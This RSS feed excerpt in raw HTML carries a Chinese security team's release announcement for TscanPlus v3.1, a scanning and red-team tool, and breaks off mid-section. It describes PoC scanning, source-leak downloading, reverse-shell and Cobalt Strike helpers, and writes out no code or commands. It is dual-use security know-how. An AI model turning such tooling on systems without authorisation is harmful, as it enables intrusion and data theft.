100%;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;font-size: 14px;text-align: center;white-space: normal;background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;box-sizing: border-box !important;" href="http://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&amp;mid=2247506056&amp;idx=1&amp;sn=ad6dd23f58f5fd8ce899a1e292f5b685&amp;chksm=ce5dfae9f92a73ff4f14c812436cb5bfecb29db04eada11c409e946d5338c82a92bcaa425736&amp;scene=21#wechat_redirect" textvalue="新潮信息-Tide安全团队2022年度总结" data-itemshowtype="0" linktype="text" data-linktype="2">新潮信息-Tide安全团队2022年度总结</a></span></p><p data-mid="" style="margin-bottom: 12px;max-width: 100%;border-bottom: 1px dotted rgb(74, 138, 218);font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(65, 84, 41);line-height: 20px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf=""><a class="normal_text_link" target="_blank" style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;" href="http://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&amp;mid=2247498965&amp;idx=1&amp;sn=655548831da6808a020ad07294a92e60&amp;chksm=ce5ddeb4f92a57a283d5692c246e54655319ab0d09f6403e354300a2777cda6ae4c787631ab3&amp;scene=21#wechat_redirect" textvalue="记一次实战攻防(打点-Edr-内网-横向-Vcenter)" data-itemshowtype="0" linktype="text" data-linktype="2">记一次实战攻防(打点-Edr-内网-横向-Vcenter)</a></span></p></div></div></div></div></div><div draggable="false" style="margin-bottom: 0px;max-width: 100%;white-space: normal;overflow: hidden;color: rgb(0, 0, 0);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;text-align: start;overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><div style="max-width: 100%;display: flex;justify-content: center;overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><p style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><span leaf=""><img style="width: 37px;display: block;overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;" class="rich_pages wxw-img" data-ratio="1.0810810810810811" data-type="gif" data-w="37" src="https://wechat2rss.xlab.app/img-proxy/?k=a96b63a4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2FrTicZ9Hibb6RWbGNtVfIZbm2rmGO4hQDzQUrLN62vEGlA4fPmib5utUAp9gbQicb6FC82RjsVI5vx7wEc9yAAiaFEoQ%2F640%3Fwx_fmt%3Dgif"/></span></p></div></div><div style="margin-bottom: 0px;max-width: 100%;box-sizing: border-box;white-space: normal;font-size: 16px;overflow-wrap: break-word !important;"><div powered-by="xiumi.us" style="max-width: 100%;box-sizing: border-box;text-align: center;justify-content: center;display: flex;flex-flow: row nowrap;overflow-wrap: break-word !important;"><div style="max-width: 100%;box-sizing: border-box;display: inline-block;width: 520.195px;vertical-align: top;align-self: flex-start;flex: 0 0 auto;overflow-wrap: break-word !important;"><div powered-by="xiumi.us" style="max-width: 100%;box-sizing: border-box;justify-content: center;display: flex;flex-flow: row nowrap;overflow-wrap: break-word !important;"><div style="max-width: 100%;box-sizing: border-box;display: inline-block;vertical-align: top;width: 104.039px;align-self: flex-start;flex: 0 0 auto;overflow-wrap: break-word !important;"><div powered-by="xiumi.us" style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><div style="max-width: 100%;box-sizing: border-box;width: 2em;display: inline-block;vertical-align: middle;overflow-wrap: break-word !important;"><div style="max-width: 100%;box-sizing: border-box;border-width: 1px;border-style: dashed;border-color: rgb(138, 189, 143);width: 2em;height: 2em;float: left;line-height: 2em;font-size: 21px;overflow-wrap: break-word !important;"><p style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><span leaf="">E</span></p></div></div></div></div><div style="max-width: 100%;box-sizing: border-box;display: inline-block;vertical-align: top;width: 104.039px;align-self: flex-start;flex: 0 0 auto;overflow-wrap: break-word !important;"><div powered-by="xiumi.us" style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><div style="max-width: 100%;box-sizing: border-box;width: 2em;display: inline-block;vertical-align: middle;overflow-wrap: break-word !important;"><div style="max-width: 100%;box-sizing: border-box;border-width: 1px;border-style: dashed;border-color: rgb(138, 189, 143);width: 2em;height: 2em;float: left;line-height: 2em;font-size: 21px;overflow-wrap: break-word !important;"><p style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><span leaf="">N</span></p></div></div></div></div><div style="max-width: 100%;box-sizing: border-box;display: inline-block;vertical-align: top;width: 104.039px;align-self: flex-start;flex: 0 0 auto;overflow-wrap: break-word !important;"><div powered-by="xiumi.us" style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><div style="max-width: 100%;box-sizing: border-box;width: 2em;display: inline-block;vertical-align: middle;overflow-wrap: break-word !important;"><div style="max-width: 100%;box-sizing: border-box;border-width: 1px;border-style: dashed;border-color: rgb(138, 189, 143);width: 2em;height: 2em;float: left;line-height: 2em;font-size: 21px;overflow-wrap: break-word !important;"><p style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><span leaf="">D</span></p></div></div></div></div></div></div></div><div draggable="false" data-tools-id="47164" style="max-width: 100%;overflow: hidden;color: rgb(0, 0, 0);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: start;overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><div style="max-width: 100%;display: flex;flex-direction: column;align-items: center;overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><p style="padding: 10px 15px;max-width: 100%;border-width: 1px;border-style: solid;border-color: rgb(1, 0, 70);background-color: rgb(199, 221, 253);color: rgb(0, 0, 70);font-size: 14px;line-height: 14px;font-family: 思源黑体;letter-spacing: 1px;transform: rotate(0deg);overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><strong style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf="">Tide团队产品及服务</span></strong></p><div style="margin-top: -15px;padding: 35px 15px 20px;max-width: 100%;border-width: 1px;border-style: solid;border-color: rgb(1, 0, 70);overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><p style="max-width: 100%;color: rgb(0, 0, 70);font-size: 14px;line-height: 1.75;font-family: 思源黑体;letter-spacing: 1px;text-align: justify;overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><strong style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf="">团队自研平台</span></strong><span leaf="">：潮汐在线指纹识别平台 | 潮听漏洞情报平台 | 潮巡资产管理与威胁监测平台 | 潮汐网络空间资产测绘 | 潮声漏洞检测平台 | 在线免杀平台 | CTF练习平台 | 物联网固件检测平台 | SRC资产监控平台  | ......</span></p><p style="max-width: 100%;color: rgb(0, 0, 70);font-size: 14px;line-height: 1.75;font-family: 思源黑体;letter-spacing: 1px;text-align: justify;overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><strong style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf="">技术分享方向</span></strong><span leaf="">:Web安全 | 红蓝对抗 | 移动安全 | 应急响应 | 工控安全 | 物联网安全 | 密码学 | 人工智能 | ctf 等方面的沟通及分享</span></p><p style="max-width: 100%;color: rgb(0, 0, 70);font-size: 14px;line-height: 1.75;font-family: 思源黑体;letter-spacing: 1px;text-align: justify;overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><strong style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf="">团队知识wiki</span></strong><span leaf="">：红蓝对抗 | 漏洞武器库 | 远控免杀 | 移动安全 | 物联网安全 | 代码审计 | CTF | 工控安全 | 应急响应 | 人工智能 | 密码学 | CobaltStrike | 安全测试用例 | ......</span></p><p style="max-width: 100%;color: rgb(0, 0, 70);font-size: 14px;line-height: 1.75;font-family: 思源黑体;letter-spacing: 1px;text-align: justify;overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><strong style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf="">团队网盘资料</span></strong><span leaf="">：安全法律法规 | 安全认证资料 | 代码审计 | 渗透安全工具 | 工控安全工具 | 移动安全工具 | 物联网安全 | 其它安全文库合辑  | ......</span></p></div></div></div></div><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><a href="%27%27">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=da183639&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg2NTA4OTI5NA%3D%3D%26mid%3D2247521907%26idx%3D1%26sn%3D78131ef54c78ef1c361b9b7570afcb53">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Wed, 31 Dec 2025 15:03:00 +0800</pubDate>
    </item>
    <item>
      <title>无影v3.1发布—上线小程序反编译等新功能</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&amp;mid=2247521874&amp;idx=1&amp;sn=2e8cbc1d4780acb5ce5f9299dfeeca67</link>
      <description>无影(TscanPlus)v3.1发布，新增微信小程序反编译、全面升级PoC检测引擎、国密网站探测、Nessus扫描、DumpALL、水洞专用等功能。</description>
      <content:encoded><![CDATA[<p>原创 <span>重剑无锋</span> <span>2025-12-11 16:57</span> <span style="display: inline-block;">山东</span></p>




  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=593b255c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FrTicZ9Hibb6RXLKkerPic6MHLDZB5E4KXbo8iaWqraI3LxpQD2r5SYBsuRoUj3wehXccsXrx6o3s1hHrUsaIXSHjsw%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>无影(TscanPlus)v3.1发布，新增微信小程序反编译、全面升级PoC检测引擎、国密网站探测、Nessus扫描、DumpALL、水洞专用等功能。</p>
  <div data-mpa-template="t" mpa-from-tpl="t" style="margin-bottom: 0px;"><div data-mid="" mpa-from-tpl="t" style="padding-right: 10px;padding-left: 10px;width: 578px;"><div data-mid="" mpa-from-tpl="t" style="width: 558px;display: flex;flex-direction: column;"><div data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 10px;padding-right: 10px;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;font-family: Optima, PingFangSC-light, serif;font-size: 16px;color: rgb(0, 0, 0);line-height: 1.5em;word-spacing: 0em;letter-spacing: 0em;word-break: break-word;overflow-wrap: break-word;text-align: left;" data-pm-slice="0 0 []"><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">无影(TscanPlus)，一款综合性网络安全检测和运维工具，旨在快速资产发现、识别、检测，构建基础资产信息库，协助甲方安全团队或者安全运维人员有效侦察和检索资产，发现存在的薄弱点和攻击面。</span></p><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><strong style="color: rgb(248, 57, 41);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">【主要功能】</span></strong><span leaf=""> 信息搜集、端口探测、服务识别、URL指纹识别、POC验证、弱口令猜解、目录扫描、UrlFinder、域名探测、网络空探、项目管理等。</span></p><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><strong style="color: rgb(248, 57, 41);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">【辅助功能】</span></strong><span leaf=""> 编码解码、加密解密、CS上线、反弹shell、杀软查询、提权辅助、常用命令、字典生成、JAVA编码、资产分拣、Hots碰撞、40xBypass、Jwt破解、Ip归属地查询等。</span></p><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><strong style="color: rgb(248, 57, 41);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">TscanPlus 功能介绍可参考文章：<a class="normal_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&amp;mid=2247512632&amp;idx=1&amp;sn=8fb22d0814c7f9929ce59934ac3873e7&amp;scene=21#wechat_redirect" textvalue="《TscanPlus——一款红队自动化工具》" data-itemshowtype="0" linktype="text" data-linktype="2">《TscanPlus——一款红队自动化工具》</a></span></strong></p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;"><span style="font-size: 16px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">1、关于无影</span></span></h3><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">无影(TscanPlus)于2024年上线v1.0版本，历时一年多时间终于上线v3.1版，Github上Star数量3k，也有了一定的用户群体，在此也非常感谢大家对无影的支持和帮助。</span></p><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">在3.0版本新增Awvs、AI辅助分析等功能后，3.1版本新增</span><strong style="color: rgb(248, 57, 41);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">微信小程序反编译、全面升级PoC检测引擎、国密网站探测、Nessus扫描、DumpALL、水洞专用等多个模块，并新增空间测绘DaydayMap接口、备案查询ICP_Query接口</span></strong><span leaf="">等。</span></p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;"><span style="font-size: 16px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">2、新功能介绍</span></span></h3><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: block;"><span style="font-size: 18px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;text-align: left;font-weight: bold;display: block;"><span leaf="">2.1 新增微信小程序反编译功能</span></span></h4><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">全新集成小程序反编译功能，兼容微信3.0与4.0版本，可自动分析并匹配小程序路径，在内容发生变化时实现自动刷新，极大提升分析效率。</span></p><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">工具内置安全审计能力，支持用户自定义敏感信息匹配规则，并对小程序、小程序组件信息及识别的敏感内容进行本地缓存。同时，提供一键清空反编译结果与缓存、手动重载及手动反编译等操作。</span></p><p style="text-align: center;" nodeleaf=""><img data-imgfileid="100038201" class="rich_pages wxw-img" data-ratio="0.6407407407407407" data-s="300,640" data-type="png" data-w="1080" type="block" src="https://wechat2rss.xlab.app/img-proxy/?k=a9df7d7d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FrTicZ9Hibb6RXLKkerPic6MHLDZB5E4KXbo3ZkMTFIpIgU0oZEajI39mH9NIPEztmrLaibZqeuWBjcNSOIMdiab1xjA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: block;"><span style="font-size: 18px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;text-align: left;font-weight: bold;display: block;"><span leaf="">2.2 全面升级PoC检测引擎</span></span></h4><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">POC检测引擎从Xray 1.0全面升级至Nuclei，支持单线程代理模式与多线程高性能模式智能切换，可根据网络环境自动选择最优扫描策略。集成Interactsh带外检测能力，支持自定义Header、Cookie及AI智能分析漏洞结果。</span></p><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">另外，从Nuclei官方templates及其他多种渠道获取PoC总数15w左右，经过多种去重、格式校验、AI误报率审核、不常见poc去重等，最后精选5400+内置在无影中，并可支持用户自定义外置Poc。</span></p><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf=""><img data-imgfileid="100038202" class="rich_pages wxw-img" data-ratio="0.6407407407407407" data-s="300,640" data-type="png" data-w="1080" type="block" src="https://wechat2rss.xlab.app/img-proxy/?k=7386ff4a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FrTicZ9Hibb6RXLKkerPic6MHLDZB5E4KXboMOYSyEDfNvs2HqEHjo5KPZ0dSJU5I08k6gkOHzVGHHTJdD5iaVbQftQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></p><p style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf=""><span textstyle="" style="font-weight: bold;">同时新增PoC在线更新功能，并搭建一套多源nuclei-poc的监测平台，每周会针对最新的poc进行筛选和tag标注，并在无影中进行实时推送。</span></span></p><p style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">2025年12月3日，在CVE-2025-55182(React Server Components远程代码执行)被爆出的第二天，很多同行还在“辩论”是鸡肋还是核弹时，当天下午无影已推送CVE-2025-55182漏洞检测PoC，第三天该漏洞才被确认为核弹级漏洞。</span></p><p style="text-align: center;" nodeleaf=""><img data-imgfileid="100038223" class="rich_pages wxw-img" data-ratio="0.6407407407407407" data-s="300,640" data-type="jpeg" data-w="1080" type="block" src="https://wechat2rss.xlab.app/img-proxy/?k=efa1d454&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FrTicZ9Hibb6RXLKkerPic6MHLDZB5E4KXboWLz1vu38QyonDRSXiaU350urYHvVuEgOgFibBNEEJiadKJ6OLenBXbiaYQ%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p><p style="text-align: center;" nodeleaf=""><img data-imgfileid="100038224" class="rich_pages wxw-img" data-ratio="0.6407407407407407" data-s="300,640" data-type="jpeg" data-w="1080" type="block" src="https://wechat2rss.xlab.app/img-proxy/?k=91b59235&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FrTicZ9Hibb6RXLKkerPic6MHLDZB5E4KXboDjjeqbWhPiciceOKoyFGCoZXATrlMPNeUHdoKC59iaDeTYGiaGO2DjKDJw%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: block;"><span style="font-size: 18px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;text-align: left;font-weight: bold;display: block;"><span leaf="">2.3 新增国密网站识别功能</span></span></h4><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">无影的web探测、目录枚举功能现已支持国密算法网站访问。当常规HTTPS请求失败且目标为HTTPS网站时，在启用国密模式后，将自动使用国密算法（SM2/SM3/SM4等）进行请求。该功能可智能识别并兼容采用国密SSL/TLS的网站，提升对国密加密网站的探测与扫描能力，确保在国密环境下正常访问目标站点。</span></p><p style="text-align: center;" nodeleaf=""><img data-imgfileid="100038203" class="rich_pages wxw-img" data-ratio="0.5777777777777777" data-s="300,640" data-type="png" data-w="1080" type="block" src="https://wechat2rss.xlab.app/img-proxy/?k=5375c11c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FrTicZ9Hibb6RXLKkerPic6MHLDZB5E4KXbox7cfA06R3n0t9w9d4R7P0rEfQUClTVbNsIOKMDCy7PlZS9CfDdI6ww%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: block;"><span style="font-size: 18px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;text-align: left;font-weight: bold;display: block;"><span leaf="">2.4 新增Nessus扫描功能</span></span></h4><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">全面集成Nessus专业漏洞扫描引擎，支持Basic、Discovery、Web App等8种扫描策略，可灵活配置代理与并发任务数。实时监控扫描进度与状态，自动统计Critical、High、Medium、Low、Info五级漏洞分布，并支持一键导出HTML格式报告。</span></p><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">内置智能超时控制与任务管理机制，所有扫描记录自动保存至本地数据库，支持随时查看历史扫描结果。提供停止扫描、删除任务、批量清理等便捷操作，助力高效完成安全评估工作。</span></p><p style="text-align: center;" nodeleaf=""><img data-imgfileid="100038204" class="rich_pages wxw-img" data-ratio="0.6407407407407407" data-s="300,640" data-type="png" data-w="1080" type="block" src="https://wechat2rss.xlab.app/img-proxy/?k=1c7f8e6b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FrTicZ9Hibb6RXLKkerPic6MHLDZB5E4KXboc7zZYSsIGbpSwtiaFRYZLN5DiaxfKS73OLoeswibVB9eFBRPLvvmCgt1g%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: block;"><span style="font-size: 18px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;text-align: left;font-weight: bold;display: block;"><span leaf="">2.5 新增DumpALL模块</span></span></h4><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">集成源码泄漏检测与自动下载功能，支持 .git、.svn、.DS_Store、目录列表四种泄漏类型的智能识别。提供&#34;仅检测&#34;与&#34;自动下载&#34;两种工作模式，可灵活设置文件大小过滤阈值，避免下载超大文件。支持批量扫描与单目标手动触发。</span></p><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span 